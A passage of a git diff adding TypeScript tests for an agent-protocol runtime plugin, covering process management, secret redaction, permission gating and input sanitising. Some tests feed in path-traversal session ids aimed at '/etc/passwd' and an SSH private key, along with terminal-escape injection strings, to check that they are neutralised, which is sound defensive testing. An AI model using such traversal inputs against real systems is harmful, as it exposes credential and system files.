".git", "config"))).toBe(true); + expect(isGitInternal(path.join(cwd, ".git", "hooks", "pre-commit"))).toBe(true); + expect(isGitInternal(path.join(cwd, "src", "app.ts"))).toBe(false); + expect(isGitInternal(path.join(cwd, "gitignore.txt"))).toBe(false); + }); +}); diff --git a/plugins/fusion-plugin-acp-runtime/src/__tests__/probe.test.ts b/plugins/fusion-plugin-acp-runtime/src/__tests__/probe.test.ts new file mode 100644 index 0000000000..d3f182d546 --- /dev/null +++ b/plugins/fusion-plugin-acp-runtime/src/__tests__/probe.test.ts @@ -0,0 +1,59 @@ +import { describe, it, expect, afterEach } from "vitest"; +import { fileURLToPath } from "node:url"; +import { probeAcpReadiness } from "../probe.js"; +import { killAllProcesses, activeProcessCount } from "../process-manager.js"; + +const FIXTURE = fileURLToPath(new URL("./fixtures/echo-agent.mjs", import.meta.url)); + +afterEach(() => { + killAllProcesses(); +}); + +function baseOpts(extraEnv: Record = {}, timeoutMs = 10_000) { + return { + binaryPath: process.execPath, + args: [FIXTURE], + cwd: process.cwd(), + env: extraEnv as NodeJS.ProcessEnv, + timeoutMs, + }; +} + +describe("probeAcpReadiness", () => { + it("reports ok against the echo fixture and tears the process down", async () => { + const status = await probeAcpReadiness(baseOpts()); + expect(status).toMatchObject({ ok: true, reason: "ok", authRequired: false }); + expect(activeProcessCount()).toBe(0); + }); + + it("reports ok with authRequired when the agent advertises authMethods", async () => { + const status = await probeAcpReadiness(baseOpts({ ACP_FIXTURE_REQUIRE_AUTH: "1" })); + expect(status.ok).toBe(true); + expect(status.reason).toBe("ok"); + expect(status.authRequired).toBe(true); + }); + + it("maps a nonexistent binary to missing_binary without throwing", async () => { + const status = await probeAcpReadiness({ + binaryPath: "/nonexistent/acp-agent-xyz", + args: [], + cwd: process.cwd(), + env: {} as NodeJS.ProcessEnv, + timeoutMs: 2000, + }); + expect(status).toMatchObject({ ok: false, reason: "missing_binary" }); + expect(activeProcessCount()).toBe(0); + }); + + it("maps a version mismatch to incompatible_protocol", async () => { + const status = await probeAcpReadiness(baseOpts({ ACP_FIXTURE_PROTOCOL_VERSION: "999" })); + expect(status).toMatchObject({ ok: false, reason: "incompatible_protocol", protocolVersion: 999 }); + expect(activeProcessCount()).toBe(0); + }); + + it("maps a stalled handshake to handshake_timeout and kills the process", async () => { + const status = await probeAcpReadiness(baseOpts({ ACP_FIXTURE_HANG_INITIALIZE: "1" }, 300)); + expect(status).toMatchObject({ ok: false, reason: "handshake_timeout" }); + expect(activeProcessCount()).toBe(0); + }); +}); diff --git a/plugins/fusion-plugin-acp-runtime/src/__tests__/process-manager.test.ts b/plugins/fusion-plugin-acp-runtime/src/__tests__/process-manager.test.ts new file mode 100644 index 0000000000..9944ffe7d3 --- /dev/null +++ b/plugins/fusion-plugin-acp-runtime/src/__tests__/process-manager.test.ts @@ -0,0 +1,179 @@ +import { describe, it, expect, afterEach } from "vitest"; +import { spawn, type ChildProcess } from "node:child_process"; +import { + buildSpawnEnv, + redactSecrets, + captureStderr, + registerProcess, + unregisterProcess, + killAllProcesses, + forceKill, + spawnAgent, + activeProcessCount, +} from "../process-manager.js"; + +const spawned: ChildProcess[] = []; + +function track(child: ChildProcess): ChildProcess { + spawned.push(child); + return child; +} + +afterEach(() => { + for (const child of spawned) forceKill(child); + spawned.length = 0; + killAllProcesses(); +}); + +function waitForExit(child: ChildProcess): Promise { + return new Promise((resolve) => { + if (child.exitCode !== null || child.killed) return resolve(); + child.once("exit", () => resolve()); + }); +} + +describe("buildSpawnEnv (KTD6b allow-list)", () => { + it("returns an empty env for an empty allow-list", () => { + process.env.ACP_TEST_SECRET = "super-secret-value"; + try { + const env = buildSpawnEnv([]); + expect(Object.keys(env)).toHaveLength(0); + expect(env.ACP_TEST_SECRET).toBeUndefined(); + } finally { + delete process.env.ACP_TEST_SECRET; + } + }); + + it("copies only allow-listed vars and excludes secret vars", () => { + process.env.ACP_TEST_ALLOWED = "ok"; + process.env.ACP_TEST_SECRET = "leak-me"; + try { + const env = buildSpawnEnv(["ACP_TEST_ALLOWED"]); + expect(env.ACP_TEST_ALLOWED).toBe("ok"); + expect(env.ACP_TEST_SECRET).toBeUndefined(); + } finally { + delete process.env.ACP_TEST_ALLOWED; + delete process.env.ACP_TEST_SECRET; + } + }); +}); + +describe("redactSecrets (Risk S8)", () => { + it("redacts bearer tokens", () => { + const out = redactSecrets("Authorization: Bearer sk-live-ABCDEFG1234567890abcdef"); + expect(out).not.toContain("sk-live-ABCDEFG1234567890abcdef"); + expect(out).toContain("[REDACTED]"); + }); + + it("redacts key=/token= assignments", () => { + const out = redactSecrets("api_key=abcdef0123456789 token=ZZZ987654321"); + expect(out).not.toContain("abcdef0123456789"); + expect(out).not.toContain("ZZZ987654321"); + }); + + it("redacts long opaque hex/base64 secrets", () => { + const out = redactSecrets("value 0123456789abcdef0123456789abcdef done"); + expect(out).not.toContain("0123456789abcdef0123456789abcdef"); + }); + + it("leaves benign text intact", () => { + expect(redactSecrets("hello world")).toBe("hello world"); + }); +}); + +describe("captureStderr", () => { + it("accumulates and redacts stderr", async () => { + const child = track( + spawn(process.execPath, [ + "-e", + "process.stderr.write('Authorization: Bearer sk-live-SECRETSECRETSECRET123456\\n')", + ]), + ); + const getStderr = captureStderr(child); + await waitForExit(child); + const out = getStderr(); + expect(out).toContain("Authorization:"); + expect(out).not.toContain("sk-live-SECRETSECRETSECRET123456"); + }); + + it("redacts a token split across two stderr writes (cross-chunk) (FIX 5)", async () => { + // The secret is emitted in two separate write() calls so it straddles two + // `data` chunks. Per-chunk redaction would leak it; cross-boundary redaction + // must catch it. + const child = track( + spawn(process.execPath, [ + "-e", + "process.stderr.write('Authorization: Bearer sk-live-SPLIT');" + + "setTimeout(()=>process.stderr.write('TOKENTOKENTOKEN123456\\n'),20);", + ]), + ); + const getStderr = captureStderr(child); + await waitForExit(child); + const out = getStderr(); + expect(out).not.toContain("sk-live-SPLITTOKENTOKENTOKEN123456"); + expect(out).toContain("[REDACTED]"); + }); +}); + +describe("process registry (KTD4)", () => { + it("auto-removes a process from the registry on exit", async () => { + killAllProcesses(); + const child = track(spawn(process.execPath, ["-e", "setTimeout(()=>{},50)"])); + registerProcess(child); + expect(activeProcessCount()).toBe(1); + await waitForExit(child); + // allow the 'exit' handler to run + await new Promise((r) => setTimeout(r, 20)); + expect(activeProcessCount()).toBe(0); + }); + + it("killAllProcesses reaps survivors and clears the registry", async () => { + killAllProcesses(); + const a = track(spawn(process.execPath, ["-e", "setInterval(()=>{},1000)"])); + const b = track(spawn(process.execPath, ["-e", "setInterval(()=>{},1000)"])); + registerProcess(a); + registerProcess(b); + expect(activeProcessCount()).toBe(2); + killAllProcesses(); + expect(activeProcessCount()).toBe(0); + await Promise.all([waitForExit(a), waitForExit(b)]); + expect(a.killed || a.exitCode !== null).toBe(true); + expect(b.killed || b.exitCode !== null).toBe(true); + }); +}); + +describe("forceKill", () => { + it("no-ops on an already-dead process", async () => { + const child = track(spawn(process.execPath, ["-e", ""])); + await waitForExit(child); + expect(() => forceKill(child)).not.toThrow(); + }); +}); + +describe("spawnAgent", () => { + it("registers on spawn and unregisters on exit", async () => { + killAllProcesses(); + const child = track( + spawnAgent({ + binaryPath: process.execPath, + args: ["-e", "setTimeout(()=>{},30)"], + cwd: process.cwd(), + env: {}, + }), + ); + expect(activeProcessCount()).toBe(1); + await waitForExit(child); + await new Promise((r) => setTimeout(r, 20)); + expect(activeProcessCount()).toBe(0); + }); + + it("unregisterProcess removes a tracked child", () => { + killAllProcesses(); + const child = track(spawn(process.execPath, ["-e", "setInterval(()=>{},1000)"])); + registerProcess(child); + expect(activeProcessCount()).toBe(1); + unregisterProcess(child); + expect(activeProcessCount()).toBe(0); + }); +}); + diff --git a/plugins/fusion-plugin-acp-runtime/src/__tests__/prompt-builder.test.ts b/plugins/fusion-plugin-acp-runtime/src/__tests__/prompt-builder.test.ts new file mode 100644 index 0000000000..8888125e86 --- /dev/null +++ b/plugins/fusion-plugin-acp-runtime/src/__tests__/prompt-builder.test.ts @@ -0,0 +1,35 @@ +import { describe, it, expect } from "vitest"; +import { buildPromptBlocks } from "../prompt-builder.js"; + +describe("buildPromptBlocks", () => { + it("turns a plain string into a single text block", () => { + const blocks = buildPromptBlocks("hello world"); + expect(blocks).toEqual([{ type: "text", text: "hello world" }]); + }); + + it("emits no text block for an empty string", () => { + expect(buildPromptBlocks("")).toEqual([]); + }); + + it("emits no text block for a whitespace-only string", () => { + expect(buildPromptBlocks(" \t\n ")).toEqual([]); + }); + + it("appends image blocks after the text block", () => { + const blocks = buildPromptBlocks("describe this", { + images: [{ data: "AAAA", mimeType: "image/png", uri: "file:///a.png" }], + }); + expect(blocks).toEqual([ + { type: "text", text: "describe this" }, + { type: "image", data: "AAAA", mimeType: "image/png", uri: "file:///a.png" }, + ]); + }); + + it("omits the uri field when not provided on an image", () => { + const blocks = buildPromptBlocks("", { + images: [{ data: "BBBB", mimeType: "image/jpeg" }], + }); + expect(blocks).toEqual([{ type: "image", data: "BBBB", mimeType: "image/jpeg" }]); + expect(blocks[0]).not.toHaveProperty("uri"); + }); +}); diff --git a/plugins/fusion-plugin-acp-runtime/src/__tests__/provider-handshake.test.ts b/plugins/fusion-plugin-acp-runtime/src/__tests__/provider-handshake.test.ts new file mode 100644 index 0000000000..c32013ce84 --- /dev/null +++ b/plugins/fusion-plugin-acp-runtime/src/__tests__/provider-handshake.test.ts @@ -0,0 +1,96 @@ +import { describe, it, expect, afterEach } from "vitest"; +import { fileURLToPath } from "node:url"; +import { + connect, + IncompatibleProtocolError, + HandshakeTimeoutError, + createDefaultClientHandler, +} from "../provider.js"; +import { killAllProcesses, activeProcessCount } from "../process-manager.js"; + +const FIXTURE = fileURLToPath(new URL("./fixtures/echo-agent.mjs", import.meta.url)); + +afterEach(() => { + killAllProcesses(); +}); + +function baseOpts(extraEnv: Record = {}) { + return { + binaryPath: process.execPath, + args: [FIXTURE], + cwd: process.cwd(), + env: extraEnv as NodeJS.ProcessEnv, + advertiseFs: { read: false, write: false }, + initializeTimeoutMs: 10_000, + }; +} + +describe("connect() handshake", () => { + it("completes initialize against the echo fixture and exposes conn", async () => { + const conn = await connect(baseOpts()); + try { + expect(conn.conn).toBeDefined(); + expect(typeof conn.conn.newSession).toBe("function"); + expect(conn.authMethods).toEqual([]); + expect(conn.agentCapabilities).toMatchObject({ loadSession: false }); + expect(conn.child.pid).toBeGreaterThan(0); + } finally { + conn.dispose(); + } + }); + + it("surfaces non-empty authMethods when the agent requires auth", async () => { + const conn = await connect(baseOpts({ ACP_FIXTURE_REQUIRE_AUTH: "1" })); + try { + expect(conn.authMethods.length).toBeGreaterThan(0); + expect(conn.authMethods[0]).toHaveProperty("id"); + } finally { + conn.dispose(); + } + }); + + it("throws IncompatibleProtocolError on a version mismatch and kills the child", async () => { + await expect( + connect(baseOpts({ ACP_FIXTURE_PROTOCOL_VERSION: "999" })), + ).rejects.toBeInstanceOf(IncompatibleProtocolError); + // child must have been disposed; nothing left in the registry + expect(activeProcessCount()).toBe(0); + }); + + it("rejects with HandshakeTimeoutError when the agent never responds, and kills the child", async () => { + await expect( + connect({ ...baseOpts({ ACP_FIXTURE_HANG_INITIALIZE: "1" }), initializeTimeoutMs: 300 }), + ).rejects.toBeInstanceOf(HandshakeTimeoutError); + expect(activeProcessCount()).toBe(0); + }); + + it("rejects with a missing-binary (ENOENT) error for a nonexistent binary", async () => { + await expect( + connect({ + binaryPath: "/nonexistent/acp-agent-does-not-exist", + args: [], + cwd: process.cwd(), + env: {} as NodeJS.ProcessEnv, + advertiseFs: { read: false, write: false }, + initializeTimeoutMs: 2000, + }), + ).rejects.toMatchObject({ code: "ENOENT" }); + expect(activeProcessCount()).toBe(0); + }); + + it("dispose() removes the registry entry and kills the child", async () => { + const conn = await connect(baseOpts()); + expect(activeProcessCount()).toBe(1); + conn.dispose(); + expect(activeProcessCount()).toBe(0); + // idempotent + expect(() => conn.dispose()).not.toThrow(); + }); + + it("default client handler cancels permission requests and no-ops updates", async () => { + const handler = createDefaultClientHandler(); + await expect(handler.sessionUpdate({} as never)).resolves.toBeUndefined(); + const res = await handler.requestPermission({} as never); + expect(res).toEqual({ outcome: { outcome: "cancelled" } }); + }); +}); diff --git a/plugins/fusion-plugin-acp-runtime/src/__tests__/provider-permission.test.ts b/plugins/fusion-plugin-acp-runtime/src/__tests__/provider-permission.test.ts new file mode 100644 index 0000000000..4b18fcc9c5 --- /dev/null +++ b/plugins/fusion-plugin-acp-runtime/src/__tests__/provider-permission.test.ts @@ -0,0 +1,129 @@ +// U5 — provider integration of the permission floor + cancel-drain. +// +// Exercises `createBridgingClientHandler(callbacks, gate)`: its +// `requestPermission` delegates to the per-category resolver, and `cancelPending` +// drains in-flight requests so the agent never deadlocks on teardown (KTD4a). + +import { describe, it, expect } from "vitest"; +import type { + PermissionOption, + RequestPermissionRequest, + RequestPermissionResponse, + ToolKind, +} from "@agentclientprotocol/sdk"; +import { createBridgingClientHandler } from "../provider.js"; +import type { GateDisposition, PermissionGate } from "../types.js"; + +const ALL_OPTIONS: PermissionOption[] = [ + { optionId: "allow_once_id", name: "Allow once", kind: "allow_once" }, + { optionId: "allow_always_id", name: "Allow always", kind: "allow_always" }, + { optionId: "reject_once_id", name: "Reject once", kind: "reject_once" }, + { optionId: "reject_always_id", name: "Reject always", kind: "reject_always" }, +]; + +function req(kind: ToolKind | undefined, id = "tc-1"): RequestPermissionRequest { + return { + sessionId: "sess-1", + toolCall: { toolCallId: id, kind } as RequestPermissionRequest["toolCall"], + options: ALL_OPTIONS, + }; +} + +const UNRESTRICTED: Record = { + git_write: "allow", + file_write_delete: "allow", + command_execution: "allow", + network_api: "allow", + task_agent_mutation: "allow", +}; + +function gate(rules: Record): PermissionGate { + return { permissionPolicy: { rules } }; +} + +function selectedId(res: RequestPermissionResponse): string | undefined { + return res.outcome.outcome === "selected" ? res.outcome.optionId : undefined; +} + +describe("createBridgingClientHandler — requestPermission delegates to the gate", () => { + it("answers allow_once for an allow category (risk acknowledged)", async () => { + const { handler } = createBridgingClientHandler( + {}, + gate({ ...UNRESTRICTED, command_execution: "allow" }), + undefined, + { allowUnrestricted: true }, + ); + const res = await handler.requestPermission(req("execute")); + expect(selectedId(res)).toBe("allow_once_id"); + }); + + it("escalates a sensitive allow to deny without the unrestricted acknowledgement (S1)", async () => { + const { handler } = createBridgingClientHandler( + {}, + gate({ ...UNRESTRICTED, command_execution: "allow" }), + ); + const res = await handler.requestPermission(req("execute")); + expect(selectedId(res)).toBe("reject_once_id"); + }); + + it("default-denies (reject_once) when no gate is supplied", async () => { + const { handler } = createBridgingClientHandler({}); + const res = await handler.requestPermission(req("read")); + expect(selectedId(res)).toBe("reject_once_id"); + }); + + it("honors a per-category block under an otherwise-unrestricted policy", async () => { + const { handler } = createBridgingClientHandler({}, gate({ ...UNRESTRICTED, command_execution: "block" })); + const res = await handler.requestPermission(req("execute")); + expect(selectedId(res)).toBe("reject_once_id"); + }); +}); + +describe("cancel drain (KTD4a — no permission deadlock)", () => { + it("resolves two in-flight permission requests as cancelled and answers later requests cancelled immediately", async () => { + // A require-approval category with a pause that NEVER resolves on its own — + // the only way these complete is the cancel drain. + let pauseCount = 0; + const blockingGate: PermissionGate = { + permissionPolicy: { rules: { ...UNRESTRICTED, command_execution: "require-approval" } }, + createApprovalRequest: async () => ({ id: "appr" }), + findApprovalByDedupeKey: async () => null, + pauseForApproval: () => + new Promise(() => { + pauseCount += 1; + /* never resolves */ + }), + }; + + const { handler, cancelPending } = createBridgingClientHandler({}, blockingGate); + + const p1 = handler.requestPermission(req("execute", "tc-1")); + const p2 = handler.requestPermission(req("execute", "tc-2")); + + // Let both reach the blocking pause. + await Promise.resolve(); + await Promise.resolve(); + expect(pauseCount).toBe(2); + + cancelPending(); + + const [r1, r2] = await Promise.all([p1, p2]); + expect(r1.outcome.outcome).toBe("cancelled"); + expect(r2.outcome.outcome).toBe("cancelled"); + + // A request arriving AFTER cancel is answered cancelled immediately. + const r3 = await handler.requestPermission(req("execute", "tc-3")); + expect(r3.outcome.outcome).toBe("cancelled"); + }); + + it("cancelPending is idempotent", async () => { + const { handler, cancelPending } = createBridgingClientHandler( + {}, + gate({ ...UNRESTRICTED, command_execution: "allow" }), + ); + cancelPending(); + cancelPending(); + const res = await handler.requestPermission(req("execute")); + expect(res.outcome.outcome).toBe("cancelled"); + }); +}); diff --git a/plugins/fusion-plugin-acp-runtime/src/__tests__/provider-session.test.ts b/plugins/fusion-plugin-acp-runtime/src/__tests__/provider-session.test.ts new file mode 100644 index 0000000000..1e8ece526d --- /dev/null +++ b/plugins/fusion-plugin-acp-runtime/src/__tests__/provider-session.test.ts @@ -0,0 +1,193 @@ +import { describe, it, expect, afterEach, vi } from "vitest"; +import { fileURLToPath } from "node:url"; +import { + connect, + newAcpSession, + promptAcpSession, + cancelAcpSession, + loadAcpSession, + createBridgingClientHandler, + type AcpConnection, +} from "../provider.js"; +import { buildPromptBlocks } from "../prompt-builder.js"; +import { killAllProcesses } from "../process-manager.js"; + +const FIXTURE = fileURLToPath(new URL("./fixtures/echo-agent.mjs", import.meta.url)); + +afterEach(() => { + killAllProcesses(); +}); + +function baseOpts(extraEnv: Record = {}) { + return { + binaryPath: process.execPath, + args: [FIXTURE], + cwd: process.cwd(), + env: extraEnv as NodeJS.ProcessEnv, + advertiseFs: { read: false, write: false }, + initializeTimeoutMs: 10_000, + }; +} + +async function open(extraEnv: Record = {}): Promise { + return connect(baseOpts(extraEnv)); +} + +describe("session driving helpers", () => { + it("newAcpSession opens a session and returns a sessionId", async () => { + const conn = await open(); + try { + const { sessionId } = await newAcpSession(conn, { cwd: process.cwd() }); + expect(typeof sessionId).toBe("string"); + expect(sessionId.length).toBeGreaterThan(0); + } finally { + conn.dispose(); + } + }); + + it("promptAcpSession resolves with end_turn for a normal turn", async () => { + const conn = await open(); + try { + const { sessionId } = await newAcpSession(conn, { cwd: process.cwd() }); + const stopReason = await promptAcpSession(conn, sessionId, buildPromptBlocks("hello")); + expect(stopReason).toBe("end_turn"); + } finally { + conn.dispose(); + } + }); + + it("cancelAcpSession releases a mid-turn prompt with the cancelled stop reason", async () => { + const conn = await open({ ACP_FIXTURE_HANG_PROMPT: "1" }); + try { + const { sessionId } = await newAcpSession(conn, { cwd: process.cwd() }); + const promptPromise = promptAcpSession(conn, sessionId, buildPromptBlocks("hello")); + // Give the turn a tick to register the hang before cancelling. + await new Promise((r) => setImmediate(r)); + await cancelAcpSession(conn, sessionId); + const stopReason = await promptPromise; + expect(stopReason).toBe("cancelled"); + } finally { + conn.dispose(); + } + }); + + it("cancelAcpSession swallows errors (fire-and-forget)", async () => { + const conn = await open(); + try { + const { sessionId } = await newAcpSession(conn, { cwd: process.cwd() }); + conn.dispose(); // kill the child so cancel cannot round-trip + await expect(cancelAcpSession(conn, sessionId)).resolves.toBeUndefined(); + } finally { + conn.dispose(); + } + }); + + it("loadAcpSession uses session/load when the agent advertises loadSession", async () => { + const conn = await open({ ACP_FIXTURE_LOAD_SESSION: "1" }); + try { + expect(conn.agentCapabilities).toMatchObject({ loadSession: true }); + const result = await loadAcpSession(conn, { + sessionId: "prior-session-id", + cwd: process.cwd(), + }); + // session/load echoes back the requested id (no fresh id minted). + expect(result.sessionId).toBe("prior-session-id"); + } finally { + conn.dispose(); + } + }); + + it("bridging client handler surfaces a rich prompt turn's updates onto callbacks (U4)", async () => { + const onText = vi.fn<(t: string) => void>(); + const onThinking = vi.fn<(t: string) => void>(); + const onToolStart = vi.fn<(name: string, args?: unknown) => void>(); + const onToolEnd = vi.fn<(name: string, isError: boolean, result?: unknown) => void>(); + + const conn = await connect({ + ...baseOpts({ ACP_FIXTURE_RICH_PROMPT: "1" }), + clientHandler: createBridgingClientHandler({ onText, onThinking, onToolStart, onToolEnd }).handler, + }); + try { + const { sessionId } = await newAcpSession(conn, { cwd: process.cwd() }); + const stopReason = await promptAcpSession(conn, sessionId, buildPromptBlocks("go")); + expect(stopReason).toBe("end_turn"); + + // The SDK prompt promise resolves only after all updates are delivered. + expect(onText.mock.calls.map((c) => c[0]).join("")).toBe("Working on it."); + expect(onThinking).toHaveBeenCalledWith("Let me think about this."); + expect(onToolStart).toHaveBeenCalledWith("Run tests", { command: "pnpm test" }); + expect(onToolEnd).toHaveBeenCalledWith("Run tests", false, { exitCode: 0 }); + // The plan surfaces as a thinking line. + expect(onThinking.mock.calls.some((c) => String(c[0]).includes("Fix the bug"))).toBe(true); + } finally { + conn.dispose(); + } + }); + + it("loadAcpSession falls back to newSession when loadSession is not advertised", async () => { + const conn = await open(); // loadSession defaults false + try { + expect(conn.agentCapabilities).toMatchObject({ loadSession: false }); + const result = await loadAcpSession(conn, { + sessionId: "prior-session-id", + cwd: process.cwd(), + }); + // Fresh session: a new id is minted, not the prior one. + expect(result.sessionId).not.toBe("prior-session-id"); + expect(result.sessionId.length).toBeGreaterThan(0); + } finally { + conn.dispose(); + } + }); +}); + +describe("sessionId untrusted-input bounding (U6 / Risk S7)", () => { + // A fake connection that returns a malicious agent-supplied sessionId so we can + // assert the helper normalizes it before it is ever stored / path-joined — + // without spawning a real agent. + function fakeConn(sessionId: string, opts?: { loadSession?: boolean }): AcpConnection { + const conn = { + newSession: vi.fn(async () => ({ sessionId, modes: undefined })), + loadSession: vi.fn(async () => ({ modes: undefined })), + }; + return { + conn: conn as unknown as AcpConnection["conn"], + child: {} as AcpConnection["child"], + agentCapabilities: { loadSession: opts?.loadSession === true }, + authMethods: [], + stderr: () => "", + dispose: () => {}, + }; + } + + it("normalizes a sessionId containing path separators from session/new", async () => { + const conn = fakeConn("../../etc/passwd"); + const { sessionId } = await newAcpSession(conn, { cwd: process.cwd() }); + expect(sessionId).not.toContain("/"); + expect(sessionId).not.toContain(".."); + }); + + it("bounds an absurdly long agent sessionId", async () => { + const conn = fakeConn("s".repeat(100_000)); + const { sessionId } = await newAcpSession(conn, { cwd: process.cwd() }); + expect(sessionId.length).toBeLessThanOrEqual(256); + }); + + it("normalizes the resume id passed to loadAcpSession", async () => { + const conn = fakeConn("ignored", { loadSession: true }); + const { sessionId } = await loadAcpSession(conn, { + sessionId: "../../../root/.ssh/id_rsa", + cwd: process.cwd(), + }); + expect(sessionId).not.toContain("/"); + expect(sessionId).not.toContain(".."); + // The normalized id must also be what is forwarded over the wire to + // loadSession() — not the raw traversal string. + const loadSessionMock = conn.conn.loadSession as unknown as ReturnType; + expect(loadSessionMock).toHaveBeenCalledTimes(1); + const sentId = loadSessionMock.mock.calls[0][0].sessionId as string; + expect(sentId).toBe(sessionId); + expect(sentId).not.toContain("/"); + expect(sentId).not.toContain(".."); + }); +}); diff --git a/plugins/fusion-plugin-acp-runtime/src/__tests__/runtime-adapter.test.ts b/plugins/fusion-plugin-acp-runtime/src/__tests__/runtime-adapter.test.ts new file mode 100644 index 0000000000..b62f8e534f --- /dev/null +++ b/plugins/fusion-plugin-acp-runtime/src/__tests__/runtime-adapter.test.ts @@ -0,0 +1,98 @@ +import { describe, it, expect, afterEach } from "vitest"; +import os from "node:os"; +import { fileURLToPath } from "node:url"; +import { AcpRuntimeAdapter } from "../runtime-adapter.js"; +import { killAllProcesses, activeProcessCount } from "../process-manager.js"; +import type { AcpSession, AgentRuntimeOptions } from "../types.js"; + +const FIXTURE = fileURLToPath(new URL("./fixtures/echo-agent.mjs", import.meta.url)); + +afterEach(() => { + killAllProcesses(); +}); + +function makeAdapter(extra: Record = {}) { + return new AcpRuntimeAdapter({ + acpBinaryPath: process.execPath, + acpArgs: [FIXTURE], + acpModel: "echo-agent", + ...extra, + }); +} + +function makeOptions(over: Partial = {}): AgentRuntimeOptions { + return { + cwd: process.cwd(), + systemPrompt: "be helpful", + ...over, + }; +} + +describe("AcpRuntimeAdapter (U3)", () => { + it("createSession spawns + opens a session with a real sessionId", async () => { + const adapter = makeAdapter(); + const { session } = await adapter.createSession(makeOptions()); + try { + expect(session.sessionId.length).toBeGreaterThan(0); + expect((session as AcpSession).connection).toBeDefined(); + expect(session.lastModelDescription).toBe("acp/echo-agent"); + } finally { + await adapter.dispose(session); + } + }); + + it("createSession persists actionGateContext and cwd on the session", async () => { + const adapter = makeAdapter(); + const gate = { permissionPolicy: { rules: { command_execution: "allow" as const } } }; + // cwd must be a real, spawnable directory (it is the subprocess cwd too). + const cwd = os.tmpdir(); + const { session } = await adapter.createSession( + makeOptions({ cwd, actionGateContext: gate }), + ); + try { + // Both reachable from the session object for the U5/U7 handlers to read. + expect((session as AcpSession).gate).toBe(gate); + expect(session.cwd).toBe(cwd); + } finally { + await adapter.dispose(session); + } + }); + + it("promptWithFallback drives a full turn to completion", async () => { + const adapter = makeAdapter(); + const { session } = await adapter.createSession(makeOptions()); + try { + await expect(adapter.promptWithFallback(session, "hello")).resolves.toBeUndefined(); + } finally { + await adapter.dispose(session); + } + }); + + it("dispose tears down the subprocess and is idempotent", async () => { + const adapter = makeAdapter(); + const { session } = await adapter.createSession(makeOptions()); + expect(activeProcessCount()).toBe(1); + await adapter.dispose(session); + expect(activeProcessCount()).toBe(0); + // second dispose must not throw + await expect(adapter.dispose(session)).resolves.toBeUndefined(); + expect(activeProcessCount()).toBe(0); + }); + + it("promptWithFallback rejects when the session has no live connection", async () => { + const adapter = makeAdapter(); + await expect( + adapter.promptWithFallback({ sessionId: "x" } as never, "hi"), + ).rejects.toThrow(/no live connection/); + }); + + it("describeModel returns the session model description", async () => { + const adapter = makeAdapter(); + const { session } = await adapter.createSession(makeOptions()); + try { + expect(adapter.describeModel(session)).toBe("acp/echo-agent"); + } finally { + await adapter.dispose(session); + } + }); +}); diff --git a/plugins/fusion-plugin-acp-runtime/src/__tests__/sanitize.test.ts b/plugins/fusion-plugin-acp-runtime/src/__tests__/sanitize.test.ts new file mode 100644 index 0000000000..f19202dcf6 --- /dev/null +++ b/plugins/fusion-plugin-acp-runtime/src/__tests__/sanitize.test.ts @@ -0,0 +1,113 @@ +import { describe, it, expect } from "vitest"; +import { + stripControlSequences, + boundString, + boundIdentifier, + DEFAULT_IDENTIFIER_MAX, + TRUNCATION_MARKER, +} from "../sanitize.js"; + +describe("stripControlSequences", () => { + it("removes CSI/SGR ANSI color escapes", () => { + const input = "\x1b[31mred\x1b[0m text"; + expect(stripControlSequences(input)).toBe("red text"); + }); + + it("removes OSC sequences (title-set injection)", () => { + const input = "before\x1b]0;malicious title\x07after"; + expect(stripControlSequences(input)).toBe("beforeafter"); + }); + + it("removes bare ESC and cursor-move escapes", () => { + const input = "a\x1b[2Jb\x1b[Hc"; + expect(stripControlSequences(input)).toBe("abc"); + }); + + it("drops C0/C1 control chars and DEL but keeps \\n and \\t", () => { + const input = "line1\nline2\tend\x00\x07\x7f\x9b"; + expect(stripControlSequences(input)).toBe("line1\nline2\tend"); + }); + + it("returns empty string for non-string / empty input", () => { + expect(stripControlSequences("")).toBe(""); + // @ts-expect-error intentionally wrong type + expect(stripControlSequences(undefined)).toBe(""); + // @ts-expect-error intentionally wrong type + expect(stripControlSequences(123)).toBe(""); + }); + + it("leaves clean printable text untouched", () => { + expect(stripControlSequences("hello world 123 #$%")).toBe("hello world 123 #$%"); + }); +}); + +describe("boundString", () => { + it("returns input unchanged when within max", () => { + expect(boundString("short", 100)).toBe("short"); + }); + + it("truncates and appends the marker when over max", () => { + const out = boundString("a".repeat(100), 50); + expect(out.length).toBe(50); + expect(out.endsWith(TRUNCATION_MARKER)).toBe(true); + }); + + it("never exceeds max length", () => { + const out = boundString("x".repeat(1000), 20); + expect(out.length).toBeLessThanOrEqual(20); + }); + + it("handles max <= marker length by hard slice", () => { + const out = boundString("abcdefgh", 3); + expect(out).toBe("abc"); + }); + + it("returns empty for non-positive max or empty/non-string input", () => { + expect(boundString("abc", 0)).toBe(""); + expect(boundString("abc", -5)).toBe(""); + expect(boundString("", 10)).toBe(""); + // @ts-expect-error intentionally wrong type + expect(boundString(undefined, 10)).toBe(""); + }); +}); + +describe("boundIdentifier", () => { + it("replaces path separators so the id cannot escape into a path", () => { + const out = boundIdentifier("../../etc/passwd"); + expect(out).not.toContain("/"); + expect(out).not.toContain("\\"); + expect(out).not.toContain(".."); + }); + + it("normalizes backslash separators and traversal", () => { + const out = boundIdentifier("..\\..\\windows\\system32"); + expect(out).not.toContain("\\"); + expect(out).not.toContain(".."); + }); + + it("strips NUL bytes and control chars", () => { + const out = boundIdentifier("sess\x00ion\x1b[31mid"); + expect(out).not.toContain("\x00"); + expect(out).not.toContain("\x1b"); + expect(out).toContain("session"); + }); + + it("bounds length to the default cap", () => { + const out = boundIdentifier("s".repeat(10_000)); + expect(out.length).toBe(DEFAULT_IDENTIFIER_MAX); + }); + + it("honors an explicit max", () => { + expect(boundIdentifier("abcdefgh", 4)).toBe("abcd"); + }); + + it("passes a clean opaque id through unchanged", () => { + expect(boundIdentifier("sess-1234-abcd")).toBe("sess-1234-abcd"); + }); + + it("returns empty for empty / non-string input", () => { + expect(boundIdentifier("")).toBe(""); + // @ts-expect-error intentionally wrong type + expect(boundIdentifier(undefined)).toBe(""); + }); +}); diff --git a/plugins/fusion-plugin-acp-runtime/src/__tests__/sdk-smoke.test.ts b/plugins/fusion-plugin-acp-runtime/src/__tests__/sdk-smoke.test.ts new file mode 100644 index 0000000000..5d1eea82a6 --- /dev/null +++ b/plugins/fusion-plugin-acp-runtime/src/__tests__/sdk-smoke.test.ts @@ -0,0 +1,25 @@ +import { describe, it, expect } from "vitest"; +import * as acp from "@agentclientprotocol/sdk"; + +// U1 gating verification (KTD2): the integration is built on a day-old SDK. +// These assertions fail the build if a load-bearing export is missing or +// reshaped, surfacing a breaking change at U1 rather than deep in U2. +describe("@agentclientprotocol/sdk export surface", () => { + 